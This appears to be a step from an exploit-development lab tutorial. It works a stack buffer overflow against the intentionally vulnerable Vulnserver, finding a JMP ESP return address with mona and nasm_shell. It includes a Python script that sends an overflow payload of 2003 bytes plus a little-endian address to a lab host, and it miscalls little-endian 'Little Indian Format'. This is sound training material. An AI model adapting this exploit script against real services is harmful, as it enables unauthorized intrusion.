Finding the Right Module
With the offset known, the next step is to find a reliable JMP ESP return address to redirect execution into our shellcode.
Set Up Mona
Download the Mona module mona.py from https://github.com/corelan/mona and save it in:
C:\Program Files (x86)\Immunity Inc\Immunity Debugger\PyCommands
Run Vulnserver and Immunity Debugger as administrator, attach Vulnserver, and in the bottom console type:
!mona modules
In the output, look for a module whose protection settings under Module Info show False across the board.
Find the JMP ESP Opcode
We need the opcode equivalent of a JMP command. On Kali, locate and launch nasm_shell, which converts assembly into hexadecimal:
locate nasm_shell
/usr/share/metasploit-framework/tools/exploit/nasm_shell.rb
Set the pointer to jump to our malicious shellcode:
nasm > JMP ESP
The hexadecimal equivalent of JMP ESP is FFE4.
Locate a Return Address
Back in Immunity Debugger, search the module for that opcode:
!mona find -s "\xff\xe4" -m essfunc.dll
We are looking for return addresses, such as 625011af.
Update the Script
On Kali, edit the Python script. x86 architecture requires the shellcode address to be written in reverse, due to the Little Indian Format:
#!/usr/bin/python
import sys, socket
# Return Address is: 625011af
# However, due to x86 architecture using the Little Indian Format
# we need to list it as: "\xaf\x11\x50\x62"
shellcode = "A" * 2003 + "\xaf\x11\x50\x62"
try:
payload = "TRUN /.:/" + shellcode
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(('192.168.57.14',9999))
s.send((payload.encode()))
s.close()
except:
print("Error connecting to server")
sys.exit()
Set a Breakpoint and Test
Click the go-to-address button and enter the expression 625011af.
This brings us to the JMP code:
Hit F2 to set a breakpoint; done correctly, the line turns blue.
The breakpoint means that when we overflow the buffer and hit this specific JMP code, execution stops there, which lets us inject our malicious code. Hit Play and jump back into Kali OS.
Now execute the script return_address.py.